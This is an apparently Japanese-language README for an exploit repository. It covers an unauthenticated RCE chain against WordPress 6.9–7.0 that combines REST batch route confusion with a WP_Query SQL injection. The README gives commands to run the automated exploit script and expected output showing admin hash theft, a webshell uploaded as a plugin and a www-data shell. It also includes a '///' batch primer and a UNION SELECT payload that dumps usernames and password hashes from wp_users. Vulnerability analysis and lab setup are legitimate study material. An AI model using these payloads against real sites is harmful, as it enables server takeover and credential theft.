
ルート混乱とSQLインジェクションを組み合わせたWordPressの未認証RCEエクスプロイト。自動化スクリプト、ラボ環境のセットアップ、詳細な脆弱性分析が提供されています。
脆弱性: REST バッチルート混乱 + WP_Query SQLインジェクション → 完全なRCE
CVSS v3.1: 10.0 / 10.0 — CRITICAL | AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
影響を受けるバージョン: WordPress 6.9.0–6.9.4, 7.0.0–7.0.1 | 修正済みバージョン: 6.9.5, 7.0.2``` Zero credentials → Route Confusion → SQLi → Admin → Shell Upload → RCE (www-data)
---
## クイックスタート
### 1. 脆弱性ラボのセットアップ
**要件:** Docker + Docker Compose```bash
git clone https://github.com/Dungsocool/CVE-2026-60137_CVE-2026-63030.git
cd CVE-2026-60137_CVE-2026-63030
# Start vulnerable WordPress
docker compose up -d
# Wait ~30 seconds for WordPress to initialize, then open:
# http://localhost:8080
pip install requests
python3 exploit.py http://localhost:8080
python3 exploit.py http://localhost:8080 --cmd "cat /etc/passwd"
python3 exploit.py http://localhost:8080 --check-only
### 3. 期待される出力```
[*] Phase 1: Confirming Route Confusion (CVE-2026-63030)...
[+] Primer triggered: parse_path_failed
[+] Desync confirmed: rest_invalid_handler
[+] Route Confusion CONFIRMED — auth bypass possible
[*] Phase 2: SQL Injection — extracting admin credentials...
[+] Boolean-based blind SQLi CONFIRMED
[+] Admin username: admin
[+] Password hash: $wp$2y$10$...
[*] Phase 3: Attempting login with common passwords...
[+] LOGIN SUCCESS: admin:admin123
[*] Phase 4: Uploading webshell via plugin upload...
[+] Plugin uploaded
[+] Plugin activated
[*] Phase 5: RCE verification...
[+] Shell found at: /wp-content/plugins/shell/shell.php
[+] RCE CONFIRMED!
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@target$ _
| ファイル | 説明 |
|---|---|
README.md | 完全な脆弱性分析と悪用手順の解説書 |
exploit.py | 自動化エクスプロイトスクリプト(ゼロアクセスから 1 コマンドで RCE) |
docker-compose.yml | 脆弱な WordPress ラボ環境 |
chain-rce.md | 自動化 RCE チェーンのドキュメント |
images/ | 手動悪用時のスクリーンショット |
脆弱性: 未認証のリモートコード実行 — REST バッチルートの混乱 + WP_Query SQL インジェクション
CVSS v3.1: 10.0 / 10.0 — 緊急
ベクトル: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
CVE-2026-60137 は、WordPress コアにおける未認証の RCE 脆弱性です。この脆弱性は、2 つの独立したバグを組み合わせることで、ゼロアクセスからサーバー完全侵害に至る完全なエクスプロイトチェーンを構成します。
| CVE | バグ | チェーン内での役割 |
|---|---|---|
| CVE-2026-63030 | REST バッチルートの混乱 | 認証のバイパス |
| CVE-2026-60137 | author__not_in SQL インジェクション | 任意のデータベース読み取り/書き込み |
影響を受けるバージョン:
悪用条件:
→ 大多数の WordPress インストールはデフォルトで脆弱です。
/wp-json/batch/v1)単一の HTTP リクエスト内で複数の REST API リクエストを送信できます:```json POST /wp-json/batch/v1 { "requests": [ {"method": "GET", "path": "/wp/v2/posts/1"}, {"method": "GET", "path": "/wp/v2/users/me"} ] }
各サブリクエストは独自のハンドラとマッチングされ、各ハンドラには独自の**権限コールバック**があります。
### WP_Query — `author__not_in`
コアのデータベースクエリクラス。`author__not_in` パラメータは整数の配列を受け付け、次のSQL句を生成します:```sql
AND post_author NOT IN (5, 12, 23)
各要素は absint() を通過し、整数部分のみが保持されます。
wp_parse_url()parse_url() のラッパーです。無効なURLを受け取ると WP_Error を返します。```php
wp_parse_url("https://example.com/path") // → OK
wp_parse_url("///") // → WP_Error
## 3. 根本原因 — バグA: バッチルート混乱 (CVE-2026-63030)
**ファイル:** `wp-includes/rest-api/class-wp-rest-server.php`
### 脆弱なソースコード:```php
public function serve_batch_request_v1( WP_REST_Request $batch_request ) {
$requests = $batch_request->get_json_params()['requests'];
$matches = array();
foreach ( $requests as $i => $single_request ) {
$parsed = wp_parse_url( $single_request['path'] );
if ( is_wp_error( $parsed ) ) {
$responses[ $i ] = $this->error_to_response( $parsed );
continue; // ←BUG: $matches[] is NOT appended
}
$matches[] = $this->match_request_to_handler( $parsed );
// ← sequential indices 0, 1, 2... DO NOT match $i when an error occurs
}
// Dispatch — this is where the bug comes into play
$match_index = 0;
foreach ( $requests as $i => $single_request ) {
if ( isset( $responses[ $i ] ) ) continue;
$handler = $matches[ $match_index ]; // ← INDEX IS DESYNCED
$match_index++;
// Request[i] runs with the permission callback OF ANOTHER REQUEST
$permission_callback = $handler['permission_callback'];
call_user_func( $permission_callback, $single_request );
}
}
Batch Request: [0]: {"method": "POST", "path": "///"} ← PRIMER (malformed) [1]: {"method": "POST", "path": "/wp/v2/posts", "body": {...}}
Processing: i=0: wp_parse_url("///") → WP_Error → skip → $matches NOT added i=1: wp_parse_url("/wp/v2/posts") → OK → $matches[0] = handler
Dispatch: i=0: skip (already has response) i=1: $handler = $matches[0] → But $matches[0] is NOT the handler meant for request[1] → Incorrect permission callback → bypass authentication
### なぜ `"///"` がバグを引き起こすのか?
PHP の `parse_url()` が `"///"` に遭遇すると、**RFC 3986** — URL構造に従って解析しようとします:```
scheme :// authority / path
│ │ │
"https" "localhost:8080" "/wp/v2/posts"
│
host + port
"///" を受信すると、次のように解釈します:```
// → authority begins (double slash = has host)
/ → empty authority, path begins immediately
→ host = "" (empty)
→ path = "" (empty)
→ scheme = none
PHP の戻り値:```
parse_url("///")
// → ["host" => "", "path" => ""]
// or false — depending on PHP version
WordPressはこれを wp_parse_url() でラップします → 有効なスキーム、有効なホスト、意味のあるパスがないことを検出 → WP_Error を返します。
wp_parse_url("///") は WP_Error(URL不正)を返します。このエラーにより、$matches を構築するループではリクエストがスキップされますが、ディスパッチループではスキップされません → 配列は**デシンク(同期ずれ)**になります。
ファイル: wp-includes/class-wp-query.php
class WP_Query { public function get_posts() { global $wpdb;
if ( ! empty( $q['author__not_in'] ) ) {
$author_not_in = implode(',', wp_parse_id_list($q['author__not_in']));
$where .= " AND{$wpdb->posts}.post_author NOT IN ($author_not_in)";
// ↑ INJECTION POINT
}
}
}
### 通常(安全な)パス:```
User input → REST Controller → array cast + absint() → WP_Query → SQL
↑ sanitization occurs here
REST コントローラー (class-wp-rest-posts-controller.php):```php
$args['author__not_in'] = array_map('absint', (array)$request['author_exclude']);
// "0) UNION SELECT..." → (array)"0) UNION..." → ["0) UNION..."] → [0]
// → SAFE
### ルート混乱のあるパス(脆弱):```
User input → Route Confusion bypass → WP_Query directly → SQL
↑ REST controller is SKIPPED
バッチデシンクが発生すると、リクエストパラメータは RESTコントローラーを通過しない → 生の文字列がそのまま WP_Query に渡される → wp_parse_id_list() にはエッジケースのバイパスが存在する → SQLインジェクション。
author_exclude = "0) UNION SELECT 1,user_login,user_pass,4,...,23 FROM wp_users-- -"
生成されたSQL:```sql
AND post_author NOT IN (0) UNION SELECT 1,user_login,user_pass,...FROM wp_users-- -)
↑ INJECTED ↑ commented out